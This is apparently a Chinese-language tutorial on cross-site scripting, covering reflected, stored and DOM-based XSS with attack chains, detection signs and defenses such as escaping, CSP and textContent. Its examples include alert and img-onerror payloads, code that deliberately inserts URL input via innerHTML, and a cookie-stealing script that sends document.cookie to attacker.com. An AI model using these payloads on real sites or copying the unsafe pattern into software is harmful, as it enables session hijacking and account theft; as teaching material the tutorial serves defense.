2. \u7eb8\u4e0a\u8c08\u5175<\/h2>\n2.1. \u4ec0\u4e48\u662f\u8de8\u7ad9\u811a\u672c\u653b\u51fb<\/h4>\n
\u8de8\u7ad9\u811a\u672c\u653b\u51fb(xss），\u6307\u653b\u51fb\u8005\u901a\u8fc7\u7be1\u6539\u7f51\u9875，\u5d4c\u5165\u6076\u610f\u811a\u672c\u7a0b\u5e8f，\u5728\u7528\u6237\u6d4f\u89c8\u7f51\u9875\u65f6，\u63a7\u5236\u7528\u6237\u6d4f\u89c8\u5668\u8fdb\u884c\u6076\u610f\u64cd\u4f5c\u7684\u4e00\u79cd\u653b\u51fb\u65b9\u5f0f\u3002<\/p>\n
XSS\u53c8\u53ebCSS（Cross Site Script）\u8de8\u7ad9\u811a\u672c\u653b\u51fb\u662f\u6307\u6076\u610f\u653b\u51fb\u8005\u5f80Web\u9875\u9762\u91cc\u63d2\u5165\u6076\u610fScript\u4ee3\u7801，\u5f53\u7528\u6237\u6d4f\u89c8\u8be5\u9875\u4e4b\u65f6，\u5d4c\u5165\u5176\u4e2dWeb\u91cc\u9762\u7684Script\u4ee3\u7801\u4f1a\u88ab\u6267\u884c，\u4ece\u800c\u8fbe\u5230\u6076\u610f\u653b\u51fb\u7528\u6237\u7684\u76ee\u7684\u3002<\/p>\n
\u501f\u52a9\u8fd9\u79cd\u653b\u51fb\u65b9\u5f0f，\u653b\u51fb\u8005\u80fd\u591f\u7a83\u53d6\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f，\u5982\u767b\u5f55\u51ed\u8bc1\u3001\u4e2a\u4eba\u9690\u79c1\u6570\u636e\u7b49；\u52ab\u6301\u7528\u6237\u4f1a\u8bdd，\u4ee5\u7528\u6237\u8eab\u4efd\u8fdb\u884c\u5404\u79cd\u64cd\u4f5c；\u751a\u81f3\u7be1\u6539\u7f51\u7ad9\u5185\u5bb9，\u4e25\u91cd\u635f\u5bb3\u7f51\u7ad9\u7684\u58f0\u8a89\u548c\u7528\u6237\u4fe1\u4efb\u3002\u4e3e\u4f8b\u6765\u8bf4，\u67d0\u7535\u5546\u7f51\u7ad9\u82e5\u5b58\u5728 XSS \u6f0f\u6d1e，\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6ce8\u5165\u6076\u610f\u811a\u672c，\u7a83\u53d6\u7528\u6237\u7684\u8d26\u53f7\u5bc6\u7801，\u8fdb\u800c\u76d7\u5237\u7528\u6237\u7684\u8d26\u6237\u8d44\u91d1，\u7ed9\u7528\u6237\u5e26\u6765\u76f4\u63a5\u7684\u7ecf\u6d4e\u635f\u5931\u3002<\/p>\n
2.2. XSS\u7684\u539f\u7406<\/h4>\n\n- \u653b\u51fb\u8005\u5bf9\u542b\u6709\u6f0f\u6d1e\u7684\u670d\u52a1\u5668\u53d1\u8d77XSS\u653b\u51fb（\u6ce8\u5165JS\u4ee3\u7801）\u3002<\/li>\n
- \u8bf1\u4f7f\u53d7\u5bb3\u8005\u6253\u5f00\u53d7\u5230\u653b\u51fb\u7684\u670d\u52a1\u5668URL\u3002<\/li>\n
- \u53d7\u5bb3\u8005\u5728Web\u6d4f\u89c8\u5668\u4e2d\u6253\u5f00URL，\u6076\u610f\u811a\u672c\u6267\u884c\u3002<\/li>\n<\/ul>\n
2.3. xss\u7684\u7c7b\u578b<\/h4>\n
\n\n\n\n\u7c7b\u578b<\/p>\n<\/td>\n
\n\u4ee3\u7801\u5b58\u50a8\u4f4d\u7f6e<\/p>\n<\/td>\n
\n\u89e6\u53d1\u65b9\u5f0f<\/p>\n<\/td>\n
\n\u5371\u5bb3\u7a0b\u5ea6<\/p>\n<\/td>\n<\/tr>\n
\n\n\u53cd\u5c04\u578bXSS<\/p>\n<\/td>\n
\n\u65e0（URL\u4e2d）<\/p>\n<\/td>\n
\n\u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5<\/p>\n<\/td>\n
\n\u4e2d\u7b49<\/p>\n<\/td>\n<\/tr>\n
\n\n\u5b58\u50a8\u578bXSS<\/p>\n<\/td>\n
\n\u670d\u52a1\u5668\u6570\u636e\u5e93<\/p>\n<\/td>\n
\n\u8bbf\u95ee\u5305\u542b\u6076\u610f\u5185\u5bb9\u7684\u9875\u9762<\/p>\n<\/td>\n
\n\u9ad8<\/p>\n<\/td>\n<\/tr>\n
\n\nDOM\u578bXSS<\/p>\n<\/td>\n
\n\u65e0（\u5ba2\u6237\u7aef）<\/p>\n<\/td>\n
\n\u524d\u7aefDOM\u64cd\u4f5c<\/p>\n<\/td>\n
\n\u4e2d\u7b49<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.3.1. \u53cd\u5c04\u578b XSS<\/h5>\n
![\"\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260124190433-697517c16b958.png\")
<\/p>\n
2.3.1.1. \u5b9a\u4e49<\/h6>\n
\u53cd\u5c04\u578b XSS \u653b\u51fb\u7684\u811a\u672c\u901a\u5e38\u5b58\u5728\u4e8e URL \u4e2d，\u670d\u52a1\u5668\u5728\u63a5\u6536\u5230\u8bf7\u6c42\u540e，\u4f1a\u76f4\u63a5\u5c06\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u5185\u5bb9\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u6267\u884c\u3002<\/p>\n
\u8fd9\u79cd\u653b\u51fb\u5c5e\u4e8e\u975e\u6301\u4e45\u6027\u653b\u51fb，<\/p>\n
\u3010\u653b\u51fb\u8005\u4e8b\u5148\u5236\u4f5c\u597d\u653b\u51fb\u94fe\u63a5, \u9700\u8981\u6b3a\u9a97\u7528\u6237\u81ea\u5df1\u53bb\u70b9\u51fb\u94fe\u63a5\u624d\u80fd\u89e6\u53d1XSS\u4ee3\u7801（\u670d\u52a1\u5668\u4e2d\u6ca1\u6709\u8fd9\u6837\u7684\u9875\u9762\u548c\u5185\u5bb9），\u4e00\u822c\u5bb9\u6613\u51fa\u73b0\u5728\u641c\u7d22\u9875\u9762\u3002\u4e00\u822c\u662f\u540e\u7aef\u4ee3\u7801\u8fdb\u884c\u5904\u7406\u3011<\/p>\n
\u4f8b\u5982，\u653b\u51fb\u8005\u6784\u9020\u94fe\u63a5 \u201chttp:\/\/example.com\/search?query=alert('XSS')\u201d，\u5f53\u7528\u6237\u70b9\u51fb\u8be5\u94fe\u63a5\u65f6，\u670d\u52a1\u5668\u5c06\u6076\u610f\u811a\u672c\u53cd\u5c04\u56de\u6d4f\u89c8\u5668，\u8fdb\u800c\u6267\u884c\u5f39\u7a97\u64cd\u4f5c\u3002<\/p>\n
\u3010\u6838\u5fc3\u7279\u70b9\u662f\u6076\u610f\u4ee3\u7801\u901a\u8fc7URL\u53c2\u6570\u4f20\u9012，\u670d\u52a1\u5668\u672a\u8fc7\u6ee4\u76f4\u63a5\u53cd\u5c04\u56de\u9875\u9762\u6267\u884c\u3002\u3011<\/p>\n
2.3.1.2. \u6838\u5fc3\u539f\u7406：URL\u4f20\u53c2\u2192\u670d\u52a1\u5668\u53cd\u5c04\u2192\u6d4f\u89c8\u5668\u6267\u884c<\/h6>\n
\u653b\u51fb\u8005\u6784\u9020\u5305\u542b\u6076\u610f\u811a\u672c\u7684URL，\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u3002\u670d\u52a1\u5668\u5c06URL\u4e2d\u7684\u53c2\u6570（\u5982\u641c\u7d22\u5173\u952e\u8bcd\u3001\u8868\u5355\u8f93\u5165）\u539f\u6837\u5d4c\u5165\u54cd\u5e94\u9875\u9762，\u6d4f\u89c8\u5668\u8bef\u8ba4\u4e3a\u662f\u53ef\u4fe1\u5185\u5bb9，\u6267\u884c\u6076\u610f\u811a\u672c\u3002<\/p>\n
\n- \u533a\u522b\u4e8e\u5b58\u50a8\u578bXSS：\u6076\u610f\u4ee3\u7801\u4e0d\u5b58\u50a8\u5728\u670d\u52a1\u5668，\u4ec5\u5728\u5355\u6b21\u8bf7\u6c42\u4e2d\u201c\u53cd\u5c04\u201d\u6267\u884c\u3002<\/li>\n<\/ul>\n
2.3.1.3. \u6700\u76f4\u89c2\u7684\u793a\u4f8b：\u641c\u7d22\u6846\u6ce8\u5165<\/h6>\n
\u5047\u8bbe\u67d0\u7f51\u7ad9\u7684\u641c\u7d22\u529f\u80fd\u76f4\u63a5\u663e\u793a\u7528\u6237\u8f93\u5165（\u672a\u8f6c\u4e49），\u653b\u51fb\u8005\u6784\u9020\u5982\u4e0b\u94fe\u63a5：<\/p>\n
http:\/\/example.com\/search?keyword=<script>alert('XSS\u653b\u51fb')<\/script> <\/p>\n
\u5f53\u7528\u6237\u70b9\u51fb\u8be5\u94fe\u63a5，\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9875\u9762\u4f1a\u5305\u542b\u8fd9\u6bb5\u811a\u672c，\u6d4f\u89c8\u5668\u6267\u884c\u540e\u5f39\u51fa\u8b66\u544a\u6846 \u26a0\ufe0f\u3002<\/p>\n
2.3.1.4. \u5176\u4ed6\u5e38\u89c1\u573a\u666f\u793a\u4f8b<\/h6>\n\n- \u8868\u5355\u63d0\u4ea4：\u5982\u8bc4\u8bba\u3001\u767b\u5f55\u9875\u7684\u9519\u8bef\u63d0\u793a\u76f4\u63a5\u56de\u663e\u7528\u6237\u8f93\u5165，\u653b\u51fb\u8005\u6784\u9020\u542b\u811a\u672c\u7684\u8868\u5355\u6570\u636e\u3002<\/li>\n
- HTTP\u5934\u6ce8\u5165：\u5c11\u6570\u7f51\u7ad9\u4f1a\u5c06Referer\u6216User-Agent\u5934\u76f4\u63a5\u663e\u793a\u5728\u9875\u9762（\u5982\u201c\u60a8\u4ecexx\u9875\u9762\u8df3\u8f6c\u800c\u6765\u201d），\u653b\u51fb\u8005\u53ef\u7be1\u6539\u8fd9\u4e9b\u5934\u6ce8\u5165\u811a\u672c\u3002<\/li>\n
- DOM\u578b\u53d8\u79cd：\u90e8\u5206\u53cd\u5c04\u578bXSS\u53d1\u751f\u5728\u524d\u7aef（\u65e0\u9700\u670d\u52a1\u5668\u53c2\u4e0e），\u4f8b\u5982\u9875\u9762\u901a\u8fc7document.location.search\u76f4\u63a5\u8bfb\u53d6URL\u53c2\u6570\u5e76\u63d2\u5165DOM，\u5982：<\/li>\n<\/ul>\n
\/\/ \u524d\u7aef\u4ee3\u7801（\u4e0d\u5b89\u5168）
\nlet keyword = new URLSearchParams(location.search).get('keyword');
\ndocument.getElementById('result').innerHTML = keyword; <\/p>\n
\u653b\u51fb\u8005\u6784\u9020keyword=<script>stealCookie()<\/script>\u5373\u53ef\u89e6\u53d1\u3002<\/p>\n
2.3.1.5. \u653b\u51fb\u94fe\u7684\u201c\u5b8c\u6574\u5f62\u6001\u201d<\/h6>\n
- \u653b\u51fb\u8005\u751f\u6210\u542b\u811a\u672c\u7684URL（\u5982http:\/\/target.com?q=<script>fetch('http:\/\/attacker.com\/steal?c='+document.cookie)<\/script>）\u3002<\/li>\n
- \u901a\u8fc7\u90ae\u4ef6\u3001\u793e\u4ea4\u5e73\u53f0\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u3002<\/li>\n
- \u7528\u6237\u70b9\u51fb\u540e，\u6d4f\u89c8\u5668\u5411target.com\u53d1\u9001\u8bf7\u6c42，\u670d\u52a1\u5668\u8fd4\u56de\u542b\u811a\u672c\u7684\u9875\u9762\u3002<\/li>\n
- \u811a\u672c\u6267\u884c，\u7a83\u53d6\u7528\u6237Cookie\u5e76\u53d1\u9001\u5230\u653b\u51fb\u8005\u670d\u52a1\u5668\u3002<\/li>\n
2.3.1.6. \u5173\u952e\u8bc6\u522b\u70b9<\/h6>\n\n- URL\u7279\u5f81：\u53c2\u6570\u4e2d\u542b<script>\u3001<img src=x onerror=…>\u7b49HTML\/JS\u4ee3\u7801\u3002<\/li>\n
- \u9875\u9762\u884c\u4e3a：\u70b9\u51fb\u94fe\u63a5\u540e\u51fa\u73b0\u5f02\u5e38\u5f39\u7a97\u3001\u9875\u9762\u8df3\u8f6c\u3001\u5185\u5bb9\u7be1\u6539\u7b49\u3002<\/li>\n
- \u54cd\u5e94\u7279\u5f81：\u67e5\u770b\u9875\u9762\u6e90\u7801，\u82e5URL\u53c2\u6570\u76f4\u63a5\u51fa\u73b0\u5728HTML\u4e2d\u4e14\u672a\u8f6c\u4e49（\u5982<\u672a\u66ff\u6362<），\u5219\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n
2.3.1.7. \u9632\u5fa1\u6838\u5fc3：<\/h6>\n
\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884cHTML\u5b9e\u4f53\u8f6c\u4e49（\u5982<\u2192<），\u6216\u4f7f\u7528CSP\u9650\u5236\u811a\u672c\u6267\u884c\u3002<\/p>\n
2.3.2. \u5b58\u50a8\u578bXSS<\/h5>\n
![\"\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260124190434-697517c24f297.png\")
<\/p>\n
2.3.2.1. \u5b9a\u4e49<\/h6>\n
\u5b58\u50a8\u578bXSS（Stored XSS）\u53c8\u79f0\u6301\u4e45\u578bXSS，\u662f\u5371\u5bb3\u6700\u5927\u7684XSS\u7c7b\u578b\u4e4b\u4e00\u3002<\/p>\n
\u6838\u5fc3\u7279\u70b9\u662f\u6076\u610f\u4ee3\u7801\u88ab\u6c38\u4e45\u5b58\u50a8\u5728\u670d\u52a1\u5668（\u5982\u6570\u636e\u5e93\u3001\u6587\u4ef6），\u6240\u6709\u8bbf\u95ee\u5305\u542b\u8be5\u4ee3\u7801\u9875\u9762\u7684\u7528\u6237\u90fd\u4f1a\u89e6\u53d1\u653b\u51fb\u3002<\/p>\n
2.3.2.2. \u6838\u5fc3\u539f\u7406<\/h6>\n
- \u6ce8\u5165\u9636\u6bb5：\u653b\u51fb\u8005\u5c06\u542b\u6076\u610f\u811a\u672c\u7684\u5185\u5bb9（\u5982\u8bc4\u8bba\u3001\u4e2a\u4eba\u8d44\u6599）\u63d0\u4ea4\u5230\u670d\u52a1\u5668，\u670d\u52a1\u5668\u672a\u8fc7\u6ee4\u76f4\u63a5\u5b58\u50a8\u3002<\/li>\n
- \u89e6\u53d1\u9636\u6bb5：\u5176\u4ed6\u7528\u6237\u8bbf\u95ee\u8be5\u9875\u9762\u65f6，\u670d\u52a1\u5668\u4ece\u5b58\u50a8\u4e2d\u8bfb\u53d6\u6076\u610f\u4ee3\u7801\u5e76\u5d4c\u5165\u54cd\u5e94，\u6d4f\u89c8\u5668\u6267\u884c\u811a\u672c\u3002<\/li>\n
\n- \u5173\u952e\u533a\u522b：\u65e0\u9700\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u7279\u6b8aURL，\u53ea\u8981\u8bbf\u95ee\u6b63\u5e38\u9875\u9762\u5373\u53ef\u89e6\u53d1，\u9690\u853d\u6027\u6781\u5f3a\u3002<\/li>\n<\/ul>\n
2.3.2.3. \u5178\u578b\u573a\u666f\u4e0e\u793a\u4f8b<\/h6>\n
\u6700\u5e38\u89c1\u4e8e\u7528\u6237\u4ea4\u4e92\u529f\u80fd，\u5982：<\/p>\n
\n- \u8bc4\u8bba\u533a\/\u7559\u8a00\u677f：\u653b\u51fb\u8005\u63d0\u4ea4 <script>fetch('http:\/\/attacker.com\/steal?c='+document.cookie)<\/script>，\u5176\u4ed6\u7528\u6237\u67e5\u770b\u8bc4\u8bba\u65f6，\u811a\u672c\u7a83\u53d6Cookie\u5e76\u53d1\u9001\u5230\u653b\u51fb\u8005\u670d\u52a1\u5668\u3002<\/li>\n
- \u4e2a\u4eba\u8d44\u6599\u9875：\u653b\u51fb\u8005\u5728\u201c\u4e2a\u6027\u7b7e\u540d\u201d\u4e2d\u63d2\u5165 <img src=x onerror=alert('XSS')>，\u6240\u6709\u8bbf\u95ee\u5176\u8d44\u6599\u9875\u7684\u7528\u6237\u90fd\u4f1a\u770b\u5230\u5f39\u7a97\u3002<\/li>\n
- \u8bba\u575b\/\u535a\u5ba2：\u6076\u610f\u4ee3\u7801\u88ab\u5d4c\u5165\u5e16\u5b50\u5185\u5bb9，\u65b0\u7528\u6237\u6d4f\u89c8\u65f6\u81ea\u52a8\u6267\u884c\u3002<\/li>\n<\/ul>\n
2.3.2.4. \u4e3b\u8981\u5371\u5bb3<\/h6>\n\n- \u6279\u91cf\u7a83\u53d6Cookie：\u653b\u51fb\u6240\u6709\u8bbf\u95ee\u9875\u9762\u7684\u7528\u6237，\u5bfc\u81f4\u8d26\u53f7\u6279\u91cf\u88ab\u76d7\u3002<\/li>\n
- \u4f20\u64ad\u8815\u866b：\u59822005\u5e74MySpace\u7684\u201c\u8428\u7c73\u8815\u866b\u201d，\u901a\u8fc7\u5b58\u50a8\u578bXSS\u81ea\u52a8\u611f\u67d3\u767e\u4e07\u7528\u6237\u3002<\/li>\n
- \u7be1\u6539\u9875\u9762\u5185\u5bb9：\u66ff\u6362\u6b63\u5e38\u9875\u9762\u4e3a\u9493\u9c7c\u7f51\u7ad9，\u9a97\u53d6\u7528\u6237\u5bc6\u7801\u6216\u652f\u4ed8\u4fe1\u606f\u3002<\/li>\n
- \u7ed3\u5408CSRF\u653b\u51fb：\u5229\u7528\u7528\u6237\u8eab\u4efd\u6267\u884c\u6076\u610f\u64cd\u4f5c（\u5982\u8f6c\u8d26\u3001\u53d1\u5e03\u5e7f\u544a）\u3002<\/li>\n<\/ul>\n
2.3.2.5. \u9632\u5fa1\u6838\u5fc3\u7b56\u7565<\/h6>\n
- \u8f93\u5165\u4e25\u683c\u8fc7\u6ee4<\/li>\n
\n- \n
\n- \u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u767d\u540d\u5355\u9a8c\u8bc1（\u5982\u4ec5\u5141\u8bb8\u5b57\u6bcd\u3001\u6570\u5b57），\u62d2\u7edd\u542b<script>\u3001<img>\u7b49\u5371\u9669\u6807\u7b7e\u7684\u5185\u5bb9\u3002<\/li>\n
- \u793a\u4f8b：\u8bc4\u8bba\u533a\u9650\u5236\u8f93\u5165\u957f\u5ea6，\u8fc7\u6ee4HTML\u7279\u6b8a\u5b57\u7b26（<\u2192<，>\u2192>）\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u8f93\u51fa\u7f16\u7801\u8f6c\u4e49<\/li>\n
\n- \n
\n- \u4ece\u670d\u52a1\u5668\u8bfb\u53d6\u6570\u636e\u540e，\u5728\u8f93\u51fa\u5230\u9875\u9762\u65f6\u8fdb\u884cHTML\u5b9e\u4f53\u8f6c\u4e49，\u786e\u4fdd\u6076\u610f\u4ee3\u7801\u88ab\u5f53\u4f5c\u6587\u672c\u800c\u975e\u811a\u672c\u6267\u884c\u3002<\/li>\n
- \u793a\u4f8b：\u4f7f\u7528htmlspecialchars()（PHP）\u6216escapeHtml()（Java）\u5904\u7406\u7528\u6237\u8f93\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u4f7f\u7528\u5b89\u5168\u6846\u67b6<\/li>\n
\n- \n
\n- \u90e8\u7f72\u5185\u5bb9\u5b89\u5168\u7b56\u7565（CSP），\u9650\u5236\u9875\u9762\u4ec5\u52a0\u8f7d\u53ef\u4fe1\u57df\u540d\u7684\u811a\u672c（\u5982Content-Security-Policy: script-src 'self'）\u3002<\/li>\n
- \u907f\u514d\u4f7f\u7528innerHTML\u7b49\u76f4\u63a5\u63d2\u5165HTML\u7684\u5371\u9669API，\u6539\u7528textContent\u8f93\u51fa\u7eaf\u6587\u672c\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u5b9a\u671f\u5ba1\u8ba1<\/li>\n
\n- \n
\n- \u68c0\u67e5\u6570\u636e\u5e93\u4e2d\u5b58\u50a8\u7684\u7528\u6237\u5185\u5bb9，\u53ca\u65f6\u6e05\u7406\u6076\u610f\u4ee3\u7801；\u5bf9\u5386\u53f2\u6f0f\u6d1e（\u5982\u65e7\u7248\u672cCMS）\u8fdb\u884c\u8865\u4e01\u66f4\u65b0\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
2.3.2.6. \u5173\u952e\u63d0\u793a<\/h6>\n
\u5b58\u50a8\u578bXSS\u7684\u9690\u853d\u6027\u4f7f\u5176\u6210\u4e3a\u9ed1\u4ea7\u5e38\u7528\u624b\u6bb5，\u9632\u5fa1\u9700\u4ece\u8f93\u5165\u8fc7\u6ee4\u548c\u8f93\u51fa\u8f6c\u4e49\u53cc\u91cd\u5165\u624b，\u7f3a\u4e00\u4e0d\u53ef\u3002\u6d4b\u8bd5\u65f6\u53ef\u5229\u7528DVWA\u9776\u573a\u7684\u201cStored XSS\u201d\u6a21\u5757\u7ec3\u4e60\u653b\u51fb\u4e0e\u9632\u5fa1\u903b\u8f91，\u5f3a\u5316\u7406\u89e3 🛡\ufe0f\u3002<\/p>\n
2.3.3. DOM\u578bXSS<\/h5>\n2.3.3.1. \u5b9a\u4e49<\/h6>\n
DOM\u578bXSS（DOM-based XSS）\u662f\u524d\u7aef\u89e6\u53d1\u7684\u8de8\u7ad9\u811a\u672c\u653b\u51fb，<\/p>\n
\u6838\u5fc3\u7279\u70b9\u662f\u6076\u610f\u4ee3\u7801\u901a\u8fc7\u524d\u7aefDOM\u64cd\u4f5c\u6267\u884c，\u65e0\u9700\u670d\u52a1\u5668\u53c2\u4e0e\u3002<\/p>\n
2.3.3.2. \u6838\u5fc3\u539f\u7406：\u524d\u7aef\u76f4\u63a5\u64cd\u4f5cDOM\u2192\u672a\u8fc7\u6ee4\u5bfc\u81f4\u6267\u884c<\/h6>\n
\u653b\u51fb\u8005\u6784\u9020\u542b\u6076\u610f\u811a\u672c\u7684URL\u6216\u8f93\u5165，\u9875\u9762\u901a\u8fc7JavaScript\u76f4\u63a5\u8bfb\u53d6\u7528\u6237\u8f93\u5165\u5e76\u63d2\u5165DOM<\/p>\n
（\u5982innerHTML\u3001document.write），\u6d4f\u89c8\u5668\u8bef\u8ba4\u4e3a\u662f\u53ef\u4fe1\u5185\u5bb9，\u6267\u884c\u6076\u610f\u811a\u672c\u3002<\/p>\n
\n- \u5173\u952e\u533a\u522b：\u4e0e\u53cd\u5c04\u578b\/\u5b58\u50a8\u578bXSS\u4e0d\u540c，DOM\u578bXSS\u7684\u653b\u51fb\u5b8c\u5168\u53d1\u751f\u5728\u5ba2\u6237\u7aef，\u670d\u52a1\u5668\u8fd4\u56de\u7684\u54cd\u5e94\u4e2d\u4e0d\u5305\u542b\u6076\u610f\u4ee3\u7801，\u4ec5\u524d\u7aef\u4ee3\u7801\u5b58\u5728\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n
2.3.3.3. \u6700\u76f4\u89c2\u7684\u793a\u4f8b：URL\u53c2\u6570\u76f4\u63a5\u63d2\u5165DOM<\/h6>\n
\u5047\u8bbe\u67d0\u7f51\u7ad9\u7684\u524d\u7aef\u4ee3\u7801\u76f4\u63a5\u8bfb\u53d6URL\u53c2\u6570\u5e76\u63d2\u5165\u9875\u9762（\u672a\u8f6c\u4e49）：<\/p>\n
\/\/ \u524d\u7aef\u4ee3\u7801（\u4e0d\u5b89\u5168）
\nlet keyword = new URLSearchParams(location.search).get('keyword');
\ndocument.getElementById('result').innerHTML = keyword; <\/p>\n
\u653b\u51fb\u8005\u6784\u9020\u5982\u4e0b\u94fe\u63a5：<\/p>\n
http:\/\/example.com\/page?keyword=<script>alert('DOM XSS\u653b\u51fb')<\/script> <\/p>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u8be5\u94fe\u63a5，\u524d\u7aef\u4ee3\u7801\u5c06keyword\u53c2\u6570\u76f4\u63a5\u63d2\u5165DOM，\u6d4f\u89c8\u5668\u6267\u884c\u811a\u672c\u5f39\u51fa\u8b66\u544a\u6846 \u26a0\ufe0f\u3002<\/p>\n
2.3.3.4. \u5178\u578b\u573a\u666f\u4e0e\u53d8\u79cd\u793a\u4f8b<\/h6>\n
- URL\u54c8\u5e0c（#）\u6ce8\u5165 \u90e8\u5206\u9875\u9762\u901a\u8fc7location.hash\u8bfb\u53d6\u53c2\u6570（\u5982\u5355\u9875\u5e94\u7528\u8def\u7531），\u653b\u51fb\u8005\u6784\u9020：<\/li>\n
http:\/\/example.com\/#<img src=x onerror=alert('XSS')> <\/p>\n
\u524d\u7aef\u4ee3\u7801\u82e5\u76f4\u63a5\u5c06hash\u503c\u63d2\u5165DOM（\u5982document.getElementById('content').innerHTML = location.hash.substr(1)），\u5219\u89e6\u53d1\u653b\u51fb\u3002<\/p>\n
- \u8868\u5355\u8f93\u5165\u5373\u65f6\u6e32\u67d3 \u5982\u641c\u7d22\u6846\u5b9e\u65f6\u663e\u793a\u8f93\u5165\u5185\u5bb9（\u672a\u8f6c\u4e49），\u653b\u51fb\u8005\u5728\u8f93\u5165\u6846\u4e2d\u76f4\u63a5\u8f93\u5165<script>stealCookie()<\/script>，\u524d\u7aef\u4ee3\u7801\u7acb\u5373\u5c06\u5176\u63d2\u5165DOM\u6267\u884c\u3002<\/li>\n
- \u7b2c\u4e09\u65b9\u5e93\/\u63d2\u4ef6\u6f0f\u6d1e \u90e8\u5206\u524d\u7aef\u5e93（\u5982\u65e9\u671fjQuery\u7684html()\u65b9\u6cd5）\u672a\u5bf9\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4，\u653b\u51fb\u8005\u53ef\u5229\u7528\u5e93\u7684API\u6ce8\u5165\u811a\u672c\u3002<\/li>\n
2.3.3.5. \u653b\u51fb\u94fe\u7684\u201c\u5b8c\u6574\u5f62\u6001\u201d<\/h6>\n
- \u653b\u51fb\u8005\u5206\u6790\u76ee\u6807\u7f51\u7ad9\u7684\u524d\u7aef\u4ee3\u7801，\u627e\u5230\u76f4\u63a5\u64cd\u4f5cDOM\u7684\u4e0d\u5b89\u5168\u70b9（\u5982innerHTML\u3001eval）\u3002<\/li>\n
- \u6784\u9020\u542b\u6076\u610f\u811a\u672c\u7684URL（\u5982http:\/\/target.com?user=<script>fetch('http:\/\/attacker.com\/steal?c='+document.cookie)<\/script>）\u3002<\/li>\n
- \u8bf1\u5bfc\u7528\u6237\u8bbf\u95ee\u8be5URL，\u524d\u7aef\u4ee3\u7801\u8bfb\u53d6\u53c2\u6570\u5e76\u63d2\u5165DOM，\u6267\u884c\u811a\u672c\u7a83\u53d6Cookie\u3002<\/li>\n
2.3.3.6. \u9632\u5fa1\u6838\u5fc3\u7b56\u7565<\/h6>\n
- \u907f\u514d\u76f4\u63a5\u64cd\u4f5cDOM\u7684\u5371\u9669API<\/li>\n
\n- \n
\n- \u7981\u7528innerHTML\u3001document.write\u3001eval\u7b49\u76f4\u63a5\u6267\u884cHTML\/JS\u7684\u65b9\u6cd5，\u6539\u7528textContent（\u4ec5\u8f93\u51fa\u7eaf\u6587\u672c）\u3002<\/li>\n
- \u793a\u4f8b：\u5c06element.innerHTML = userInput\u6539\u4e3aelement.textContent = userInput\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u8f93\u5165\u4e25\u683c\u8f6c\u4e49<\/li>\n
\n- \n
\n- \u5bf9\u7528\u6237\u8f93\u5165\u7684\u7279\u6b8a\u5b57\u7b26\u8fdb\u884cHTML\u5b9e\u4f53\u8f6c\u4e49（\u5982<\u2192<，>\u2192>），\u786e\u4fdd\u6076\u610f\u4ee3\u7801\u88ab\u5f53\u4f5c\u6587\u672c\u800c\u975e\u811a\u672c\u3002<\/li>\n
- \u63a8\u8350\u4f7f\u7528\u6210\u719f\u7684\u8f6c\u4e49\u5e93（\u5982DOMPurify）\u5904\u7406\u5bcc\u6587\u672c\u8f93\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u4f7f\u7528\u5b89\u5168\u7684\u524d\u7aef\u6846\u67b6<\/li>\n
\n- \n
\n- \u73b0\u4ee3\u6846\u67b6（\u5982React\u3001Vue）\u9ed8\u8ba4\u5bf9\u63d2\u503c\u5185\u5bb9\u8fdb\u884c\u8f6c\u4e49（\u5982React\u7684{}\u8bed\u6cd5），\u51cf\u5c11DOM\u578bXSS\u98ce\u9669\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
- \u9650\u5236\u811a\u672c\u6267\u884c\u6743\u9650<\/li>\n
\n- \n
\n- \u90e8\u7f72\u5185\u5bb9\u5b89\u5168\u7b56\u7565（CSP），\u7981\u6b62\u5185\u8054\u811a\u672c（script-src 'self'）\u548c\u672a\u6388\u6743\u57df\u540d\u7684\u811a\u672c\u52a0\u8f7d\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
2.3.3.7. \u5173\u952e\u8bc6\u522b\u70b9<\/h6>\n\n- \u524d\u7aef\u4ee3\u7801\u7279\u5f81：\u5b58\u5728\u76f4\u63a5\u8bfb\u53d6\u7528\u6237\u8f93\u5165（URL\u53c2\u6570\u3001\u8868\u5355\u3001Cookie）\u5e76\u63d2\u5165DOM\u7684\u64cd\u4f5c（\u5982innerHTML\u3001insertAdjacentHTML）\u3002<\/li>\n
- \u653b\u51fb\u9690\u853d\u6027：\u670d\u52a1\u5668\u54cd\u5e94\u4e2d\u65e0\u6076\u610f\u4ee3\u7801，\u4f20\u7edfWAF（Web\u5e94\u7528\u9632\u706b\u5899）\u96be\u4ee5\u68c0\u6d4b，\u9700\u901a\u8fc7\u524d\u7aef\u4ee3\u7801\u5ba1\u8ba1\u53d1\u73b0\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n
